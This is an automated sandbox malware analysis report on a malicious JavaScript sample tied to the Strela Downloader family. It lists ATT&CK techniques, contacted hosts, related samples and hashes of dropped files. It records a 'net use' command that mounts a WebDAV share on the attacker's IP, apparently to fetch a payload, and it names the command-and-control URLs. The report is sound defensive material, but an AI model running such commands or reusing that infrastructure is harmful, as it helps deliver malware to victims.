Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Windows Management Instrumentation	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
6164687600716519.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/A	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/s64	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2655835818.000001CB2EE00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.1456442706.000001CB2EC20000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/s64	net.exe, 00000007.00000002.1454535779.000001BAC79B8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1454630717.000001BAC79E9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/A	net.exe, 00000007.00000003.1453194297.000001BAC79E9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1454630717.000001BAC79E9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587748
Start date and time:	2025-01-10 17:38:53 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	6164687600716519.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 52.22.41.97, 52.6.155.20, 3.219.243.226, 3.233.129.217, 23.209.209.135, 184.28.90.27, 199.232.214.172, 2.16.168.105, 2.16.168.107, 2.22.50.144, 2.22.50.131, 13.107.246.45, 4.175.87.197, 96.17.64.171
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, otelrules.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 6164687600716519.js

Simulations

Behavior and APIs

Time	Type	Description
11:40:02	API Interceptor	21x Sleep call for process: powershell.exe modified
11:40:06	API Interceptor	1x Sleep call for process: net.exe modified
11:40:06	API Interceptor	2x Sleep call for process: svchost.exe modified
11:40:15	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1923918274137833386.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	62212369534426657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	334130052300215064.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10266121931448610316.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	489131343024428850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25917225161220417691.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	51406528193621400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32474162872806629906.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28091322483050023072.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	VsTfsPVrfA.exe	Get hash	malicious	FormBook	Browse	199.232.214.172
	51406528193621400.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	32474162872806629906.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	23268167561217715617.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2045514992161325262.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1936930021252095876.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	283532861321088537.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	launcher.exe.bin.exe	Get hash	malicious	PureLog Stealer, Xmrig, zgRAT	Browse	199.232.210.172
	10259286552329511027.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1923918274137833386.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	62212369534426657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	334130052300215064.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	199708044356824138.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10266121931448610316.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18938150912509528417.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	489131343024428850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	25917225161220417691.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	51406528193621400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8008379344894269
Encrypted:	false
SSDEEP:	1536:CJD1YBdWK7S50AhnZ0Ag0ALzJVEbJBJlPVPEH3cNkPfF7Njg9QaQfOgFrGXuE5T8:CJC5rk0X+MbJ72D4qgfiaDhvO7VMBfn
MD5:	B0EDDDE4A745AFA5986CCF0884A0B4DE
SHA1:	5B2F173143A438743FA9584C5A0B1D401671A775
SHA-256:	AD5C40F26953D26624B75E7F1F0425673AB9252D471CE88F12AA3D1576191E8B
SHA-512:	DD0CA2C55DA435E0561FAA756FA7A9C3E69B3DD3ADA03A1BE910D5AF335F31E1689616407F152E08EC0576835AA15B45A04EB3A25DEE92EFC0730D906F7F1B4D
Malicious:	false
Preview:	dg".........@..@%9...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................T.....#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xa6c9d40f, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7715398180048093
Encrypted:	false
SSDEEP:	1536:DSB2ESB2SSjlK/7vqlC06Z546I50AEzJ+Ykr3g16XWq2UPkLk+kFLKho38o38+W6:Daza9vqcHbrq2UyUVWlW
MD5:	EE9F2C4FFF8EAB3072A544D8129ADDD9
SHA1:	61001429618C7CA515BB16B8A97057399A1E871C
SHA-256:	7D2C2C8E542BDDE572CA8E259D2ECCD3CF8B2264DB344CDC88FA4C20D09F1D0A
SHA-512:	8DAE7B62421D622F51B2E70EC8FDAA8363A9A5D864ACEB8A7895314EA73D206D281D808449012A629717EE91E4ACFD4EAE6B59B3EE1E712DBA9F7DEED8642375
Malicious:	false
Preview:	....... ...............X\...;...{......................0.p.....#....{...(...}..h.r.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......%9...{...............................................................................................................................................................................................2...{...................................K5..(...}...................f...(...}...........................#......h.r.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Dyalog APL version -45.85
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08172663387782099
Encrypted:	false
SSDEEP:	3:1YeVcpj8qrrvr+gvrr/5mlRSjlollVmctlll/Sm1l1:1zVBgn/5mnfLPPv
MD5:	05BB7347982FFA7963CD9FB9C6805EFA
SHA1:	4CE490EDCC4C04E74884D1F2CEB3EE1CCC26138D
SHA-256:	662FA056DDAFEB766A8E4BEC05ACB28BBF8C18A4B904F5F61B07F51EA1540306
SHA-512:	4600EDA389503F491B0245707EE6DAA360D1B99AFCEF82D010B6F2F6F03FBC22A811ACACAA5695A387A55DE673A5BBA8C59D694E44BDC93571511A39125FE533
Malicious:	false
Preview:	...U.....................................;...{...(...}..#....{..........#....{..#....{...i..#....{.V.................f...(...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.169629131354033
Encrypted:	false
SSDEEP:	6:iO4iVOoAq2PsZ2nKuAl9OmbnIFUtSiVVXZmwsiVOzkwOsZ2nKuAl9OmbjLJ:7FEvkcHAahFUtXVX/pW51cHAaSJ
MD5:	248FC04E2987A54B3CB0EAE1BBD4FB97
SHA1:	8A63A849A73492DDBA3ED096D58A58A81FB7BCD3
SHA-256:	A6043614A70F9E44BA731CFC9EDC2E44DAF97D1EAD0151D125F03A318B53051F
SHA-512:	3B3D10A819AF2F9F95EFA0351215648E1DBF27CD3D177B23F4794D507006819008F7C33EB882158B5021A1A18DE96C18CC3CAE5C89FE92A1C416F30004392057
Malicious:	false
Preview:	2025/01/10-11:40:06.789 1c40 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:40:06.792 1c40 Recovering log #3.2025/01/10-11:40:06.793 1c40 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.169629131354033
Encrypted:	false
SSDEEP:	6:iO4iVOoAq2PsZ2nKuAl9OmbnIFUtSiVVXZmwsiVOzkwOsZ2nKuAl9OmbjLJ:7FEvkcHAahFUtXVX/pW51cHAaSJ
MD5:	248FC04E2987A54B3CB0EAE1BBD4FB97
SHA1:	8A63A849A73492DDBA3ED096D58A58A81FB7BCD3
SHA-256:	A6043614A70F9E44BA731CFC9EDC2E44DAF97D1EAD0151D125F03A318B53051F
SHA-512:	3B3D10A819AF2F9F95EFA0351215648E1DBF27CD3D177B23F4794D507006819008F7C33EB882158B5021A1A18DE96C18CC3CAE5C89FE92A1C416F30004392057
Malicious:	false
Preview:	2025/01/10-11:40:06.789 1c40 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:40:06.792 1c40 Recovering log #3.2025/01/10-11:40:06.793 1c40 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.118411179916823
Encrypted:	false
SSDEEP:	6:iO4iVkiL+q2PsZ2nKuAl9Ombzo2jMGIFUtSiVdT1ZmwsiV6KLVkwOsZ2nKuAl9OU:7FdyvkcHAa8uFUtX//p/R51cHAa8RJ
MD5:	616F57E9730F81A5AA22839732D9A499
SHA1:	C315293810ACDDEBDEACE23110F3D7873D1B88C1
SHA-256:	666747965D99F5626F42553474608902570B9026BF12D1D6B9F31C441D270618
SHA-512:	A8766C1B6E65F95DC90395BC2D06A74B60CFA4D5AC0A385215C888AD7396ACBE5A95954401507F4A516E9F7C3A89E6CD062759DDE931052D92DE2798D03AD9B5
Malicious:	false
Preview:	2025/01/10-11:40:07.017 1c38 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:40:07.019 1c38 Recovering log #3.2025/01/10-11:40:07.020 1c38 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.118411179916823
Encrypted:	false
SSDEEP:	6:iO4iVkiL+q2PsZ2nKuAl9Ombzo2jMGIFUtSiVdT1ZmwsiV6KLVkwOsZ2nKuAl9OU:7FdyvkcHAa8uFUtX//p/R51cHAa8RJ
MD5:	616F57E9730F81A5AA22839732D9A499
SHA1:	C315293810ACDDEBDEACE23110F3D7873D1B88C1
SHA-256:	666747965D99F5626F42553474608902570B9026BF12D1D6B9F31C441D270618
SHA-512:	A8766C1B6E65F95DC90395BC2D06A74B60CFA4D5AC0A385215C888AD7396ACBE5A95954401507F4A516E9F7C3A89E6CD062759DDE931052D92DE2798D03AD9B5
Malicious:	false
Preview:	2025/01/10-11:40:07.017 1c38 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:40:07.019 1c38 Recovering log #3.2025/01/10-11:40:07.020 1c38 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\347e9aba-77fa-4c0b-be21-d58891bc875c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.966043731871392
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqcNsBdOg2HInAcaq3QYiubPyP7E4T3y:Y2sRdsedMHInr3QYhbC7nby
MD5:	43390474D5617944460633CF0F05A314
SHA1:	5B146C3657FDFAE3E69E94D06ACB7D6BD5812448
SHA-256:	23FEA63DE57456F05F293F04B067375CC9867E124676B9FFF18D090DE8EDF2DA
SHA-512:	418FCB287AFF09BB35931F9011E47CF8BB28050E3BCD22E05E83F73B1EE01D110B59B017034E69CF5869012B17739074687F7966E2435E359566CE681302438A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381087218099185","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":122783},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.11","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.966043731871392
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqcNsBdOg2HInAcaq3QYiubPyP7E4T3y:Y2sRdsedMHInr3QYhbC7nby
MD5:	43390474D5617944460633CF0F05A314
SHA1:	5B146C3657FDFAE3E69E94D06ACB7D6BD5812448
SHA-256:	23FEA63DE57456F05F293F04B067375CC9867E124676B9FFF18D090DE8EDF2DA
SHA-512:	418FCB287AFF09BB35931F9011E47CF8BB28050E3BCD22E05E83F73B1EE01D110B59B017034E69CF5869012B17739074687F7966E2435E359566CE681302438A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381087218099185","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":122783},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.11","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4553
Entropy (8bit):	5.238407604340718
Encrypted:	false
SSDEEP:	96:odxquQuhxqVAq0Czrh6CzxtSzK3/tjsqnlfjejy4XOlPXflaTe:oqupGVTbzrhtzxtSzK3/dRnlLejyE4vZ
MD5:	5CDD60122D28014D5A521F53A0835A10
SHA1:	EF7F7B08167DB620775586D848CF198C71EB4CB5
SHA-256:	7399512E4492EB20E8D7A8B54C5F8E29D06123F4C0E9032D123AD8316D766BD3
SHA-512:	A8B99BA1EA85453697ED7FF8F78155E85F0DCFE4F36812890921D604209B274CD0C2C9465A6DE9A2D14E33487485A686646D0D4C4CA3826A35C3F3C84B624017
Malicious:	false
Preview:	*...#................version.1..namespace-n.X.o................next-map-id.1.Pnamespace-8da8a5d4_15b5_4830_8c1c_ca066d0e12ed-https://rna-resource.acrobat.com/.0gKY.r................next-map-id.2.Snamespace-81b0e21e_1c2a_4917_a98d_db6892e18c4b-https://rna-v2-resource.acrobat.com/.1^b..r................next-map-id.3.Snamespace-181ade60_1d4c_4d63_87fe_e85b67c781b7-https://rna-v2-resource.acrobat.com/.2....o................next-map-id.4.Pnamespace-73e7b78c_6cea_4091_906b_b0f0cc6a8ce0-https://rna-resource.acrobat.com/.3C[.[^...............Pnamespace-8da8a5d4_15b5_4830_8c1c_ca066d0e12ed-https://rna-resource.acrobat.com/D..B^...............Pnamespace-73e7b78c_6cea_4091_906b_b0f0cc6a8ce0-https://rna-resource.acrobat.com/..Ga...............Snamespace-181ade60_1d4c_4d63_87fe_e85b67c781b7-https://rna-v2-resource.acrobat.com/.;0ca...............Snamespace-81b0e21e_1c2a_4917_a98d_db6892e18c4b-https://rna-v2-resource.acrobat.com/.\.go................next-map-id.5.Pnamespace-5e456334_9beb_4082_9dbc_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.180818162241019
Encrypted:	false
SSDEEP:	6:iO4iV4Q+FL+q2PsZ2nKuAl9OmbzNMxIFUtSiVu1ZmwsiVTnLVkwOsZ2nKuAl9Omk:7F4jFyvkcHAa8jFUtXY/pTnR51cHAa8E
MD5:	C93D2EC490DCDA126A106821FF8962E3
SHA1:	63D6CB801FD01E56AC923D872093356C04D4A186
SHA-256:	3BDD913E0D502DD1231EEED64938DF128D4FDBBEFE49CA0910F163365F8335D0
SHA-512:	58B33BD3764E939A8887E63012969DFD4F989C4FD75890066B4C20B5D540B0A4138813ACD8108881990CFA71720D7E7214A212A0431DB7FC550E7F8C70607A4F
Malicious:	false
Preview:	2025/01/10-11:40:07.395 1c38 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:40:07.429 1c38 Recovering log #3.2025/01/10-11:40:07.464 1c38 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.180818162241019
Encrypted:	false
SSDEEP:	6:iO4iV4Q+FL+q2PsZ2nKuAl9OmbzNMxIFUtSiVu1ZmwsiVTnLVkwOsZ2nKuAl9Omk:7F4jFyvkcHAa8jFUtXY/pTnR51cHAa8E
MD5:	C93D2EC490DCDA126A106821FF8962E3
SHA1:	63D6CB801FD01E56AC923D872093356C04D4A186
SHA-256:	3BDD913E0D502DD1231EEED64938DF128D4FDBBEFE49CA0910F163365F8335D0
SHA-512:	58B33BD3764E939A8887E63012969DFD4F989C4FD75890066B4C20B5D540B0A4138813ACD8108881990CFA71720D7E7214A212A0431DB7FC550E7F8C70607A4F
Malicious:	false
Preview:	2025/01/10-11:40:07.395 1c38 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:40:07.429 1c38 Recovering log #3.2025/01/10-11:40:07.464 1c38 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4383627679072895
Encrypted:	false
SSDEEP:	384:yeCci5GxiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:N9urVgazUpUTTGt
MD5:	139750EB08B239FA628C195D06098622
SHA1:	E819795E2065300C58405247A382C0ED8634C805
SHA-256:	E1E9D1731F24FEDBAD15095C8608EEBBC137482ED6659DCD44F0C56B74D90F38
SHA-512:	62617F91D50246551C7AE93BBF96C175E8ECA82A830B69102CEE23D3620D0FFFCF7D5D8250C5B4A07500BF122F063FFA722FDDBB192B0BA78CD367F1FFFDA968
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.767499156726277
Encrypted:	false
SSDEEP:	48:7MhJioyVJioyFoy1C7oy16oy1PKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1OO:7WJuJHiXjBiKb9IVXEBodRBk+
MD5:	FE70FBE150CF845EA77A880E0BEDC366
SHA1:	8B40150E03221B080355116F9913F3DCFA9CA211
SHA-256:	5BE8A9E588B6D8A8B8D0384EB9A8A738FA9C382BB83F2B3F97F11006E464C906
SHA-512:	DA20FCF53D3369E6C9C96150F2791905E4ACC52C9AF6ADF58AFE4BB9A118A20468CD7D0BFFFF617B7F2D72151DDCD1FBD34FAE3B174B01A3E1EBF452583A924E
Malicious:	false
Preview:	.... .c........s...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
